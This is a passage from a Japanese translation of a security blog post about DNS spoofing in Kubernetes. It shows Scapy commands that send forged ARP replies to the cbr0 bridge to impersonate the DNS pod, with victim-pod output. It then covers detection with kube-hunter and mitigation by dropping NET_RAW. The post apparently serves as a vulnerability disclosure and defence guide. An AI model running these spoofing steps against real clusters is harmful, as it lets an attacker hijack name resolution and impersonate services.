IP(dst=\"8.8.8.8\" , ttl=1) \/ ICMP())<br \/>\n&gt;&gt;&gt; cbr0_mac, cbr0_ip = res[Ether].src, res[IP].src<br \/>\n<\/span><\/p>\n<p>\u6b21\u306b\u3001\u507d\u306eARP\u5fdc\u7b54\u3092\u30d6\u30ea\u30c3\u30b8(cbr0)\u306b\u9001\u4fe1\u3057\u3001DNS pod\u306eIP\u3092\u6240\u6709\u3057\u3066\u3044\u308b\u3053\u3068\u3092\u4f1d\u3048\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n&gt;&gt;&gt; while True:<br \/>\n&gt;&gt;&gt; send(ARP(op=2, pdst=cbr0_ip, psrc=dns_pod_ip, hwdst=cbr0_mac))<br \/>\n<\/span><\/p>\n<p><i>\u6ce8\uff1ahwdst\u3092\u30d6\u30ea\u30c3\u30b8\u306eMAC\u306b\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u30d6\u30ea\u30c3\u30b8\u306e\u306a\u308a\u3059\u307e\u3057\u306e\u307f\u3092\u884c\u3046\u3088\u3046\u306b\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u975e\u5e38\u306b\u91cd\u8981\u306a\u63aa\u7f6e\u3067\u3059\u3002\u3067\u304d\u308b\u3060\u3051\u81ea\u5206\u81ea\u8eab\u306b\u6ce8\u610f\u3092\u5411\u3051\u306a\u3044\u3088\u3046\u306b\u3059\u308b\u305f\u3081\u3067\u3059\u3002<\/i><\/p>\n<p>\u305f\u3068\u3048\u3070DNS\u89e3\u6c7a\u30d7\u30ed\u30bb\u30b9\u306b\u5bfe\u3057\u3066DoS(Denial of Service)\u653b\u6483\u304c\u4e88\u60f3\u3055\u308c\u308b\u305f\u3081\u3001\u30af\u30e9\u30b9\u30bf\u4e0a\u306e\u5225\u306epod\u304b\u3089\u306enslookup\u306f\u6a5f\u80fd\u3057\u307e\u305b\u3093\u3002<\/p>\n<p>\u653b\u6483\u7528\u306epod\u304c\u5b9f\u884c\u3055\u308c\u305f\u306e\u3067\u3001\u88ab\u5bb3\u8005\u7528\u306epod\u3092\u5b9f\u884c\u3057\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\n\u279c ~ kubectl exec -it victim zsh<br \/>\n<\/span><\/p>\n<p>\u305d\u306e\u5f8c\u3001\u30c9\u30e1\u30a4\u30f3\u306e\u89e3\u6c7a\u3092\u8a66\u307f\u307e\u3059\u3002<\/p>\n<p><span style=\"background-color:#f5f5f5\"><br \/>\nkubectl exec -it victim zsh<br \/>\n\u279c victim \/ nslookup example.com<br \/>\n;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53<br \/>\n;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53<br \/>\n;; reply from unexpected source: 10.67.16.3#53, expected 10.67.0.10#53<br \/>\n;; connection timed out; no servers could be reached<br \/>\n<\/span><\/p>\n<p>nslookup\u304b\u3089\u5f97\u3089\u308c\u308b\u30a8\u30e9\u30fc\u306b\u3064\u3044\u3066\u3053\u306e\u30d6\u30ed\u30b0\u3067\u306f\u8a73\u3057\u304f\u8aac\u660e\u3057\u307e\u305b\u3093\u304c\u3001\u672c\u8cea\u7684\u306b\u3001\u3053\u308c\u306fip_forwarding\u304c\u30b3\u30f3\u30c6\u30ca\u5185\u3067\u3082\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u3068\u3044\u3046\u4e8b\u5b9f\u306b\u95a2\u4fc2\u3057\u3066\u3044\u307e\u3059(\u3053\u308c\u306f\u30db\u30b9\u30c8\u304b\u3089\u6d3e\u751f\u3059\u308b\u3082\u306e\u3067\u3059)\u3002\u3053\u3053\u3067\u884c\u3046\u5fc5\u8981\u304c\u3042\u308b\u306e\u306f\u3001\u60aa\u610f\u306e\u3042\u308bpod\u5185\u3067DNS\u30d7\u30ed\u30ad\u30b7\u30b5\u30fc\u30d0\u3092\u5b9f\u884c\u3057\u3001\u7279\u5b9a\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u9664\u304d\u3001\u3059\u3079\u3066\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u5b9f\u969b\u306eCoreDNS pod\u306b\u8ee2\u9001\u3059\u308b\u3053\u3068\u3067\u3059\u3002 DNS\u306e\u4ed5\u7d44\u307f\u306e\u304a\u304b\u3052\u3067\u3001\u30ea\u30be\u30eb\u30d0\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306f\u3001\u6700\u521d\u306b\u5225\u306e\u4e0d\u5be9\u306a\u56de\u7b54\u3092\u53d7\u3051\u53d6\u3063\u305f\u5834\u5408\u3067\u3082\u56de\u7b54\u3092\u53d7\u3051\u5165\u308c\u307e\u3059\u3002<\/p>\n<h2>\u60aa\u7528\u306e\u691c\u8a3c<\/h2>\n<p>\u3053\u306e\u60aa\u7528\u3092\u691c\u8a3c\u3059\u308b\u305f\u3081\u306e\u5b8c\u5168\u306a\u74b0\u5883\u3092\u6e96\u5099\u3057\u307e\u3057\u305f\u3002\u6b21\u306e\u3053\u3068\u3092\u5b9f\u884c\u3057\u3066\u3044\u304d\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u5fc5\u8981\u306a\u3059\u3079\u3066\u306eIP\/MAC\u30a2\u30c9\u30ec\u30b9\u3092\u81ea\u52d5\u7684\u306b\u691c\u51fa\n<li>\u653b\u6483\u3092\u5b9f\u884c\u3067\u304d\u308b\u304b\u3069\u3046\u304b\u3092\u6c7a\u5b9a\n<li>cbr0\u30d6\u30ea\u30c3\u30b8\u3067ARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3092\u5b9f\u884c\n<li>\u5b9f\u969b\u306ekube-DNS pod\u306b\u63a5\u7d9a\u3059\u308bDNS\u30d7\u30ed\u30ad\u30b7\u3092\u63d0\u4f9b\u3057\u3001\u3059\u3079\u3066\u306e\u8981\u6c42\u3092\u305d\u3053\u306b\u8ee2\u9001\n<li>\u30ab\u30b9\u30bf\u30e0\u4f5c\u6210\u3057\u305f\u30db\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3092\u8aad\u307f\u53d6\u308a\u3001\u4e00\u81f4\u3059\u308b\u5834\u5408\u306b\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3055\u308c\u305fDNS\u5fdc\u7b54\u3067\u5fdc\u7b54\n<\/ul>\n<p>\u6b21\u306e\u6620\u50cf\u306f\u3001\u653b\u6483\u8005\u304c\u30c9\u30e1\u30a4\u30f3\u540d\u3092\u507d\u88c5\u3057\u3066Web\u30b5\u30fc\u30d0\u306b\u306a\u308a\u3059\u307e\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\n<script id=\"asciicast-qe300HtdzDGlOC3JjEeMimrHY\" src=\"https:\/\/asciinema.org\/a\/qe300HtdzDGlOC3JjEeMimrHY.js\" async><\/script>\n<\/p>\n<p>\u3053\u306e\u60aa\u7528\u306e\u691c\u8a3c\u3067\u4f7f\u7528\u3057\u3066\u3044\u308b\u3059\u3079\u3066\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u3053\u306e<a href=\"https:\/\/github.com\/danielsagi\/kube-dnsspoof\/\" rel=\"noopener noreferrer\" target=\"_blank\">Github\u30ea\u30dd\u30b8\u30c8\u30ea<\/a>\u306b\u3042\u308a\u307e\u3059\u3002<\/p>\n<h3>\u4ee5\u4e0b\u306b\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044;<\/h3>\n<ul>\n<li>CoreDNS\u304c\u8907\u6570\u306eDNS pod\u3092\u8d77\u52d5\u3059\u308b\u5834\u5408\u30011\u3064\u3060\u3051\u3092\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3059\u308b\u3068\u3001\u7d50\u679c\u306f\u4e0d\u5b89\u5b9a\u306b\u306a\u308a\u307e\u3059\u3002\n<li>\u3053\u306e\u8106\u5f31\u6027\u306f\u3001DNS pod\u3068\u540c\u3058\u30ce\u30fc\u30c9\u3067\u5b9f\u884c\u3059\u308b\u5834\u5408\u306b\u306e\u307f\u6a5f\u80fd\u3057\u307e\u3059\u304c\u3001\u3053\u308c\u3092\u514b\u670d\u3059\u308b\u305f\u3081\u306b\u540c\u69d8\u306e\u64cd\u4f5c\u3092\u5b9f\u884c\u3067\u304d\u307e\u3059\u3002\n<\/ul>\n<h2>\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u9632\u3050\u304b<\/h2>\n<p>Kubernetes\u7528\u306e\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u4fb5\u5165\u30c6\u30b9\u30c8\u30c4\u30fc\u30eb\u3067\u3042\u308b<a href=\"https:\/\/github.com\/aquasecurity\/kube-hunter\" rel=\"noopener noreferrer\" target=\"_blank\">kube-hunter<\/a>\u3092\u66f4\u65b0\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u3053\u306e\u60aa\u7528\u306b\u5bfe\u3057\u3066\u8106\u5f31\u304b\u3069\u3046\u304b\u304c\u308f\u304b\u308a\u307e\u3059\u3002\u8106\u5f31\u304b\u3069\u3046\u304b\u3092\u8abf\u3079\u308b\u306b\u306f\u3001\u2013active\u30d5\u30e9\u30b0\u3092\u4f7f\u7528\u3057\u3066Kube-hunter\u3092pod\u3068\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002 \u300cPossible ARP Spoof\u300d\u307e\u305f\u306f\u300cPossible DNS Spoof\u300d\u306e\u7d50\u679c\u304c\u5f97\u3089\u308c\u305f\u5834\u5408\u306f\u3001\u63a8\u5968\u3055\u308c\u308b\u7de9\u548c\u624b\u9806\u3092\u5b9f\u884c\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u901a\u5e38\u3001\u540c\u3058\u30ce\u30fc\u30c9\u3067pod\u306eL3\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u3092\u30eb\u30fc\u30c6\u30a3\u30f3\u30b0\u3059\u308bL3\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30d7\u30e9\u30b0\u30a4\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u3053\u306e\u60aa\u7528\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u307e\u305f\u3001Kubernetes\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u3067\u3053\u306e\u554f\u984c\u3092\u63d0\u8d77\u3057\u305f\u3068\u3053\u308d\u3001\u5f7c\u3089\u306f\u6b21\u306e\u3088\u3046\u306b\u8ff0\u3079\u307e\u3057\u305f\u3002\u300cKubernetes\u53ca\u3073Docker\u30b3\u30f3\u30c6\u30ca\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u304cCAP_NET_RAW\u3092\u8a31\u53ef\u3059\u308b\u306e\u306f\u6b8b\u5ff5\u3067\u3059\u304c\u3001\u4e0b\u4f4d\u4e92\u63db\u6027\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u306b\u3001\u3053\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u3092\u77ed\u671f\u7684\u306b\u5909\u66f4\u3067\u304d\u308b\u3068\u306f\u8003\u3048\u3066\u3044\u307e\u305b\u3093\u3002\u30e6\u30fc\u30b6\u306f\u3001\u30b3\u30f3\u30c6\u30caSecurityContext\u307e\u305f\u306fPod\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u4e0d\u8981\u306a\u6a5f\u80fd\u3092\u7121\u52b9\u5316\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u300d<\/p>\n<p>\u3055\u3089\u306b\u3001\u300c\u4e00\u90e8\u306eCNI\u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u3001\u9001\u4fe1\u5143MAC\u307e\u305f\u306f\u9001\u4fe1\u5143IP\u30a2\u30c9\u30ec\u30b9\u304c\u4e00\u81f4\u3057\u306a\u3044pod\u304b\u3089\u306e\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u62d2\u5426\u3059\u308b\u305f\u3081\u3001ARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3092\u9632\u6b62\u3057\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001OpenShift SDN CNI\u30d7\u30e9\u30b0\u30a4\u30f3\u53ca\u3073\u5c06\u6765\u306eovn-kubernetes\u30d7\u30e9\u30b0\u30a4\u30f3(\u958b\u767a\u4e2d)\u306f\u3001\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30a4\u30b9\u306b\u8a2d\u5b9a\u3055\u308c\u305f\u30bd\u30fc\u30b9\u30a2\u30c9\u30ec\u30b9\u304b\u3089\u3067\u306f\u306a\u3044\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u30c9\u30ed\u30c3\u30d7\u3059\u308bOVS\u30d6\u30ea\u30c3\u30b8\u3092\u4ecb\u3057\u3066\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30d7\u30e9\u30b0\u30a4\u30f3\u3067\u306f\u3001pod\u304chostNetwork:true\u3092\u4f7f\u7528\u3057\u3066\u3044\u306a\u3044\u9650\u308a\u3001pod\u306fARP\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\u3092\u5b9f\u884c\u3067\u304d\u307e\u305b\u3093\u3002\u300d\u3068\u8ff0\u3079\u307e\u3057\u305f\u3002<\/p>\n<h3>\u7de9\u548c\u7b56<\/h3>\n<p>\u3053\u306e\u3088\u3046\u306a\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u653b\u6483\u3092\u56de\u907f\u3059\u308b\u305f\u3081\u306e\u63a8\u5968\u3055\u308c\u308b\u624b\u9806\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306bNEW_RAW\u6a5f\u80fd\u3092\u30c9\u30ed\u30c3\u30d7\u3059\u308b\u300c<a href=\"https:\/\/kubernetes.io\/docs\/tasks\/configure-pod-container\/security-context\/\" rel=\"noopener noreferrer\" target=\"_blank\">securityContext<\/a>\u300d\u3092\u8ffd\u52a0\u3059\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<p>\u4f8b\u3048\u3070\uff1a<br \/>\n<span style=\"background-color:#f5f5f5\"><br \/>\napiVersion: v1 kind: Pod metadata:<br \/>\n\u3000\u3000name: security-context-demo<br \/>\nspec:<br \/>\n\u3000\u3000containers:<br \/>\n\u3000\u3000- name: test<br \/>\n\u3000\u3000image: alpine<br \/>\n\u3000<b>securityContext:<br \/>\n\u3000\u3000\u3000\u3000\u3000capabilities:<br \/>\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000drop:<br \/>\n\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000\u3000- NET_RAW<br \/>\n<\/b><br \/>\n<\/span><\/p>\n<p>\u3053\u308c\u306f\u3001\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u306e\u8a73\u7d30\u306a\u691c\u67fb\/\u64cd\u4f5c\u3092\u884c\u3046\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u306e\u307f\u5fc5\u8981\u306a\u305f\u3081\u3001\u307b\u3068\u3093\u3069\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u306f\u5f71\u97ff\u3057\u307e\u305b\u3093\u3002\u3053\u306e\u6a5f\u80fd\u3092\u524a\u9664\u3059\u308b\u3068\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b3\u30fc\u30c9\u304c\u5371\u967a\u306b\u3055\u3089\u3055\u308c\u305f\u5834\u5408\u3067\u3082\u3001\u653b\u6483\u8005\u304c\u30af\u30e9\u30b9\u30bf\u3067\u305d\u306e\u3088\u3046\u306a\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30d9\u30fc\u30b9\u306e\u653b\u6483\u3092\u5b9f\u884c\u3067\u304d\u306a\u304f\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\t\t<!--HubSpot Call-to-Action Code -->\n\t\t<span class=\"hs-cta-wrapper\" id=\"hs-cta-wrapper-3a13195e-48f8-474a-ac0e-d21ac0a01291\">\n\t\t<span class=\"hs-cta-node hs-cta-3a13195e-48f8-474a-ac0e-d21ac0a01291\" id=\"3a13195e-48f8-474a-ac0e-d21ac0a01291\">\n\t\t<!--[if lte IE 8]>\n\t\t<div id=\"hs-cta-ie-element\"><\/div>\n\t\t<![endif]-->\n\t\t<a href=\"https:\/\/cta-redirect.hubspot.com\/cta\/redirect\/6168413\/3a13195e-48f8-474a-ac0e-d21ac0a01291\" >\n\t\t<img decoding=\"async\" class=\"hs-cta-img\" id=\"hs-cta-img-3a13195e-48f8-474a-ac0e-d21ac0a01291\" style=\"border-width:0px;\" src=\"https:\/\/no-cache.hubspot.com\/cta\/default\/6168413\/3a13195e-48f8-474a-ac0e-d21ac0a01291.png\"  alt=\"New call-to-action\"\/>\n\t\t<\/a>\n\t\t<\/span>\n\t\t<script charset=\"utf-8\" src=\"\/\/js.hubspot.com\/cta\/current.js\"><\/script>\n\t\t<script>\n\t\thbspt.cta.load(6168413, '3a13195e-48f8-474a-ac0e-d21ac0a01291', {});\n\t\t<\/script>\n\t\t<\/span>\n\t\t<!-- end HubSpot Call-to-Action Code -->\n\t\t\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes Clusters\u300d\u306e\u65e5\u672c\u8a9e\u7ffb\u8a33\u3067\u3059\u3002 Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS [&#8230;]<\/p>\n","protected":false},"author":56,"featured_media":29614,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"content-type":"","footnotes":""},"categories":[176,122],"tags":[],"class_list":["post-29613","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-aquasecurity","category-kubernetes"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3<\/title>\n<meta name=\"description\" content=\"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\" \/>\n<meta property=\"og:description\" content=\"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613\" \/>\n<meta property=\"og:site_name\" content=\"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/creationline\" \/>\n<meta property=\"article:published_time\" content=\"2019-09-05T01:00:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-09-11T08:56:24+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"650\" \/>\n\t<meta property=\"og:image:height\" content=\"315\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Kent Magruder\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@creationline\" \/>\n<meta name=\"twitter:site\" content=\"@creationline\" \/>\n<meta name=\"twitter:label1\" content=\"\u57f7\u7b46\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"Kent Magruder\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u63a8\u5b9a\u8aad\u307f\u53d6\u308a\u6642\u9593\" \/>\n\t<meta name=\"twitter:data2\" content=\"3\u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613\"},\"author\":{\"name\":\"Kent Magruder\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/2dfcdde19e3b7cb7da7c9ae23e1b7717\"},\"headline\":\"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes\",\"datePublished\":\"2019-09-05T01:00:04+00:00\",\"dateModified\":\"2019-09-11T08:56:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613\"},\"wordCount\":589,\"image\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2019\\\/08\\\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg\",\"articleSection\":[\"AquaSecurity\",\"Kubernetes\"],\"inLanguage\":\"ja\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613\",\"name\":\"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2019\\\/08\\\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg\",\"datePublished\":\"2019-09-05T01:00:04+00:00\",\"dateModified\":\"2019-09-11T08:56:24+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/2dfcdde19e3b7cb7da7c9ae23e1b7717\"},\"description\":\"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#breadcrumb\"},\"inLanguage\":\"ja\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#primaryimage\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2019\\\/08\\\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg\",\"contentUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2019\\\/08\\\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg\",\"width\":650,\"height\":315},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\\\/29613#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"HOME\",\"item\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6\",\"item\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"AquaSecurity\",\"item\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cloudnative\\\/aquasecurity\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#website\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/\",\"name\":\"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3\",\"description\":\"\u30a2\u30b8\u30e3\u30a4\u30eb\uff06DevOps\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6\u3001AI\uff06LLM\u306e\u5148\u7aef\u6280\u8853\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"ja\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/#\\\/schema\\\/person\\\/2dfcdde19e3b7cb7da7c9ae23e1b7717\",\"name\":\"Kent Magruder\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"ja\",\"@id\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"contentUrl\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/cms_x3GWkuX\\\/wp-content\\\/uploads\\\/2021\\\/12\\\/avatar.png\",\"caption\":\"Kent Magruder\"},\"url\":\"https:\\\/\\\/www.creationline.com\\\/tech-blog\\\/author\\\/k-magruder\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. 